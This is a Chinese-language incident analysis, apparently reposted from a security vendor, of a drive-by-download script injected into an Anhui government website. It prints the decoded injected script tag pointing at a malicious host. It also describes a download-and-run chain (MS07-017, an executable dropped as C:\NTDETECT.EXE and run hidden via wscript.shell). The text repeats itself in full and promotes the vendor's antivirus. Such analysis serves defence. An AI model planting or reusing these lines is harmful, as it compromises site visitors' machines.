神马文学网数字安徽网挂马网事件分析及预防
来源：百度文库 编辑：神马文学网 时间：2024/04/28 06:19:58
在探索Google搜索结果过滤网页恶意病毒过程中，发现安徽某政府网亦被恶意入侵者攻陷并插入恶意病毒下载指令。
http://bbs.s-sos.net/attachments/20070517_88f4361b62f7085147d8T5XgbrawRrwr.jpg
点击访问“数字安徽”主页（http://www.digitalanhui.gov.cn/）后，终截者随即弹出拦截到的网站恶意木马，如下图所示：
http://bbs.s-sos.net/attachments/20070517_0b3e298d9690f51a373cUPn9qknH4rtm.jpg
终截者抗病毒软件安全狗成功拦截到恶意挂马病毒
查看主页源文件代码，仔细检查后发现可疑挂马指令：
http://bbs.s-sos.net/attachments/20070517_299594e27cc651e20407kfRnsUq19DiK.jpg
这段挂马指令经过了 unescape码加密，因此我们还需要还原他本来面目，解密过程通过Unicode码的转换实现即可。
还原如下：
Ø %3Cscript%20src%3D%22http%3A//w1e.cn/js/1.js%22%3E%3C/script%3E
ü
下载http://w1e.cn/js/1.js 查看其源文件，发现该脚本调用了另一个Htm文件，其内容如下：document.write("");
直接打开这个网页，会被表面现象所蒙蔽，因此这并不是本来面目，如下图所示
这里的源代码解密较周折，我们直接来看结果：
客户端如果没有做好漏洞防护或安装终截者抗病毒软件的话，就有可能直接中招，触发漏洞后，会直接从http://w1e.cn/js/1.exe 下载病毒体到 C:\NTDETECT.EXE并由 1.vbs解释执行（wscript.createobject("wscript.shell").run "C:\NTDETECT.EXE",0）
1. 漏洞说明：
Microsoft XML核心服务 XMLHTTP控件代码执行漏洞 （MS07-017漏洞）
受影响系统：
Microsoft XML Core Services 4.0
- Microsoft Windows XP SP2
- Microsoft Windows Server 2003 SP1
- Microsoft Windows Server 2003
- Microsoft Windows 2000 SP4
描述：
Microsoft XML核心服务（MSXML）允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。
在Microsoft XML Core Services 4.0的XMLHTTP 4.0 ActiveX控件中，setRequestHeader()函数没有正确地处理HTTP请求，允许攻击者诱骗用户访问恶意的站点导致执行任意指令。
2. 漏洞利用
这个漏洞主要是利用两个对象Microsoft.XMLHTTP和Adodb.Stream。
具体过程不做还原演示，此处略。
3. 预防
修复补丁或安装具有抗漏洞攻击的终截者抗病毒软件（http://www.s-sos.net）。
http://bbs.s-sos.net/attachments/20070517_88f4361b62f7085147d8T5XgbrawRrwr.jpg
点击访问“数字安徽”主页（http://www.digitalanhui.gov.cn/）后，终截者随即弹出拦截到的网站恶意木马，如下图所示：
http://bbs.s-sos.net/attachments/20070517_0b3e298d9690f51a373cUPn9qknH4rtm.jpg
终截者抗病毒软件安全狗成功拦截到恶意挂马病毒
查看主页源文件代码，仔细检查后发现可疑挂马指令：
http://bbs.s-sos.net/attachments/20070517_299594e27cc651e20407kfRnsUq19DiK.jpg
这段挂马指令经过了 unescape码加密，因此我们还需要还原他本来面目，解密过程通过Unicode码的转换实现即可。
还原如下：
Ø %3Cscript%20src%3D%22http%3A//w1e.cn/js/1.js%22%3E%3C/script%3E
ü
下载http://w1e.cn/js/1.js 查看其源文件，发现该脚本调用了另一个Htm文件，其内容如下：document.write("");
直接打开这个网页，会被表面现象所蒙蔽，因此这并不是本来面目，如下图所示
这里的源代码解密较周折，我们直接来看结果：
客户端如果没有做好漏洞防护或安装终截者抗病毒软件的话，就有可能直接中招，触发漏洞后，会直接从http://w1e.cn/js/1.exe 下载病毒体到 C:\NTDETECT.EXE并由 1.vbs解释执行（wscript.createobject("wscript.shell").run "C:\NTDETECT.EXE",0）
1. 漏洞说明：
Microsoft XML核心服务 XMLHTTP控件代码执行漏洞 （MS07-017漏洞）
受影响系统：
Microsoft XML Core Services 4.0
- Microsoft Windows XP SP2
- Microsoft Windows Server 2003 SP1
- Microsoft Windows Server 2003
- Microsoft Windows 2000 SP4
描述：
Microsoft XML核心服务（MSXML）允许使用JScript、VBScript和Microsoft Visual Studio 6.0的用户构建可与其他符合XML 1.0标准的应用程序相互操作的XML应用。
在Microsoft XML Core Services 4.0的XMLHTTP 4.0 ActiveX控件中，setRequestHeader()函数没有正确地处理HTTP请求，允许攻击者诱骗用户访问恶意的站点导致执行任意指令。
2. 漏洞利用
这个漏洞主要是利用两个对象Microsoft.XMLHTTP和Adodb.Stream。
具体过程不做还原演示，此处略。
3. 预防
修复补丁或安装具有抗漏洞攻击的终截者抗病毒软件（http://www.s-sos.net）。